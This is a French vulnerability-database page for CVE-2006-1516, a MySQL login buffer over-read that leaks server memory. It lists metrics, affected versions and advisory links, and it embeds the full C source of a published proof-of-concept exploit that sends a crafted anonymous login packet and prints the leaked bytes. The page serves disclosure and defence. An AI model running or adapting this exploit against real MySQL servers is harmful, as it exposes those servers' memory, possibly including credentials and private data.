CVE-2006-1516 : Détail

CVE-2006-1516

93.84%V3
Network
2006-05-05
08h00 +00:00
2018-10-18
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The check_connection function in sql_parse.cc in MySQL 4.0.x up to 4.0.26, 4.1.x up to 4.1.18, and 5.0.x up to 5.0.20 allows remote attackers to read portions of memory via a username without a trailing null byte, which causes a buffer over-read.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1742

Date de publication : 2006-05-01 22h00 +00:00
Auteur : Stefano Di Paola
EDB Vérifié : Yes

/* **************************************************************** April 21.st 2006 my_anon_db_leak.c MySql Anonimous Login Memory Leak MySql <= 5.0.20 MySql <= 4.1.x copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it) GPL 2.0 **************************************************************** Disclaimer: In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. **************************************************************** Compile with: gcc my_anon_db_leak.c -o my_anon_db_leak usage: my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip] [-p port_num] [-n db_len] */ #include <sys/types.h> /* we need MSG_WAITALL - that's why this ugly #ifdef, why doesn't glibc2 have MSG_WAITALL in its <socketbits.h> ?? */ #ifdef __linux__ #include <linux/socket.h> #else #include <sys/socket.h> #endif #include <sys/socket.h> #include <sys/un.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <fcntl.h> #include <sys/file.h> #include <errno.h> #include <unistd.h> #include <netinet/in.h> /* sockaddr_in{} and other Internet defns */ #include <netdb.h> /* needed by gethostbyname */ #include <arpa/inet.h> /* needed by inet_ntoa */ char anon_pckt[] = { 0x3d, 0x00, 0x00, 0x01, 0x0d, 0xa6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x14, 0x99, 0xdb, 0x54, 0xb6, 0x6a, 0xd7, 0xc2, 0x86, 0x4c, 0x50, 0xa8, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 0x0d, 0xad, 0x45, 0x73, 0x00 }; // len=16*4+1=65; int anon_pckt_len = 65; #define USOCK "/tmp/mysql2.sock" int tcp_conn (char *hostname, int port) { int sockfd; int n; struct sockaddr_in servaddr; struct hostent *hp; if ((hp = gethostbyname (hostname)) == 0) { perror ("gethostbyname"); exit (0); } if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror ("socket"); exit (1); } bzero ((char *) &servaddr, sizeof (servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons (port); memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length); if (servaddr.sin_addr.s_addr <= 0) { perror ("bad address after gethostbyname"); exit (1); } if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0) { perror ("connect"); exit (1); } return sockfd; } int unix_conn (char *path) { int fd, len; struct sockaddr_un sa; fd = socket (PF_UNIX, SOCK_STREAM, 0); if (fd < 0) { perror ("cli: socket(PF_UNIX,SOCK_STREAM)"); exit (1); } sa.sun_family = AF_UNIX; strcpy (sa.sun_path, path); len = sizeof (sa); if (connect (fd, (struct sockaddr *) &sa, len) < 0) { perror ("cli: connect()"); exit (1); } return fd; } int main (int argc, char *argv[]) { int fd; int i, ret; char packet[65535]; char *path; char *host; int port = 3306; char buf[65535]; int db_len = 0; int pckt_len = anon_pckt_len; int unix_sock = 1; char c; path = strdup (USOCK); host = strdup ("127.0.0.1"); opterr = 0; while ((c = getopt (argc, argv, "s:h:p:n:")) != -1) switch (c) { case 's': path = strdup (optarg); unix_sock = 1; break; case 'h': host = strdup (optarg); unix_sock = 0; break; case 'p': port = atoi (optarg); unix_sock = 0; break; case 'n': db_len = atoi (optarg); break; default: break; } bzero (packet, 65535); pckt_len = anon_pckt_len + db_len; printf ("%d\n", pckt_len); for (i = 0; i < pckt_len; i++) packet[i] = anon_pckt[i]; if (db_len) for (i = anon_pckt_len - 2; i < pckt_len; i++) packet[i] = 'A'; packet[pckt_len - 1] = '\0'; packet[0] = (char) (anon_pckt[0] + db_len) & 0xff; packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff; for (i = 0; i < pckt_len; i++) printf (" %.2x%c", (unsigned char) packet[i], ((i + 1) % 16 ? ' ' : '\n')); printf ("\n"); if (unix_sock) fd = unix_conn (path); else fd = tcp_conn (host, port); sleep (1); ret = recv (fd, buf, 65535, 0); if (send (fd, packet, pckt_len, 0) != pckt_len) { perror ("cli: send(anon_pckt)"); exit (1); } ret = recv (fd, buf, 65535, 0); for (i = 0; i < ret; i++) printf ("%c", (isalpha (buf[i]) ? buf[i] : '.')); printf ("\n"); return 0; } // milw0rm.com [2006-05-02]

Products Mentioned

Configuraton 0

Mysql>>Mysql >> Version 4.1.0

Mysql>>Mysql >> Version 4.1.3

Mysql>>Mysql >> Version 4.1.8

Mysql>>Mysql >> Version 4.1.10

Mysql>>Mysql >> Version 4.1.12

Mysql>>Mysql >> Version 4.1.13

Mysql>>Mysql >> Version 4.1.14

Mysql>>Mysql >> Version 4.1.15

Mysql>>Mysql >> Version 5.0.1

Mysql>>Mysql >> Version 5.0.2

Mysql>>Mysql >> Version 5.0.3

Mysql>>Mysql >> Version 5.0.4

Mysql>>Mysql >> Version 5.0.5

Mysql>>Mysql >> Version 5.0.10

Mysql>>Mysql >> Version 5.0.15

Mysql>>Mysql >> Version 5.0.16

Mysql>>Mysql >> Version 5.0.17

Oracle>>Mysql >> Version 4.0.0

Oracle>>Mysql >> Version 4.0.1

Oracle>>Mysql >> Version 4.0.2

Oracle>>Mysql >> Version 4.0.3

Oracle>>Mysql >> Version 4.0.4

Oracle>>Mysql >> Version 4.0.5

Oracle>>Mysql >> Version 4.0.5a

Oracle>>Mysql >> Version 4.0.6

Oracle>>Mysql >> Version 4.0.7

Oracle>>Mysql >> Version 4.0.7

Oracle>>Mysql >> Version 4.0.8

Oracle>>Mysql >> Version 4.0.8

Oracle>>Mysql >> Version 4.0.9

Oracle>>Mysql >> Version 4.0.9

Oracle>>Mysql >> Version 4.0.10

Oracle>>Mysql >> Version 4.0.11

Oracle>>Mysql >> Version 4.0.11

Oracle>>Mysql >> Version 4.0.12

Oracle>>Mysql >> Version 4.0.13

Oracle>>Mysql >> Version 4.0.14

Oracle>>Mysql >> Version 4.0.15

Oracle>>Mysql >> Version 4.0.16

Oracle>>Mysql >> Version 4.0.17

Oracle>>Mysql >> Version 4.0.18

Oracle>>Mysql >> Version 4.0.19

Oracle>>Mysql >> Version 4.0.20

Oracle>>Mysql >> Version 4.0.21

Oracle>>Mysql >> Version 4.0.23

Oracle>>Mysql >> Version 4.0.24

Oracle>>Mysql >> Version 4.0.25

Oracle>>Mysql >> Version 4.0.26

Oracle>>Mysql >> Version 4.1.0

Oracle>>Mysql >> Version 4.1.2

Oracle>>Mysql >> Version 4.1.3

Oracle>>Mysql >> Version 4.1.4

Oracle>>Mysql >> Version 4.1.5

Oracle>>Mysql >> Version 4.1.6

Oracle>>Mysql >> Version 4.1.7

Oracle>>Mysql >> Version 4.1.9

Oracle>>Mysql >> Version 4.1.11

Oracle>>Mysql >> Version 4.1.16

Oracle>>Mysql >> Version 4.1.17

Oracle>>Mysql >> Version 4.1.18

Oracle>>Mysql >> Version 5.0.0

Oracle>>Mysql >> Version 5.0.3

Oracle>>Mysql >> Version 5.0.6

Oracle>>Mysql >> Version 5.0.7

Oracle>>Mysql >> Version 5.0.8

Oracle>>Mysql >> Version 5.0.9

Oracle>>Mysql >> Version 5.0.11

Oracle>>Mysql >> Version 5.0.12

Oracle>>Mysql >> Version 5.0.13

Oracle>>Mysql >> Version 5.0.14

Oracle>>Mysql >> Version 5.0.18

Références

http://www.trustix.org/errata/2006/0028
Tags : vendor-advisory, x_refsource_TRUSTIX
http://secunia.com/advisories/19929
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20073
Tags : third-party-advisory, x_refsource_SECUNIA
http://bugs.debian.org/365938
Tags : x_refsource_CONFIRM
http://www.us-cert.gov/cas/techalerts/TA07-072A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.debian.org/security/2006/dsa-1079
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.vupen.com/english/advisories/2006/1633
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/20424
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.gentoo.org/security/en/glsa/glsa-200605-13.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://securityreason.com/securityalert/840
Tags : third-party-advisory, x_refsource_SREASON
http://www.securityfocus.com/bid/17780
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDKSA-2006:084
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/20241
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20762
Tags : third-party-advisory, x_refsource_SECUNIA
http://sunsolve.sun.com/search/document.do?assetkey=1-26-236703-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/20333
Tags : third-party-advisory, x_refsource_SECUNIA
http://securitytracker.com/id?1016017
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/20002
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20223
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20076
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2006/dsa-1071
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.vupen.com/english/advisories/2007/0930
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/20253
Tags : third-party-advisory, x_refsource_SECUNIA
https://usn.ubuntu.com/283-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/20457
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2006/dsa-1073
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/29847
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20625
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2006-0544.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/24479
Tags : third-party-advisory, x_refsource_SECUNIA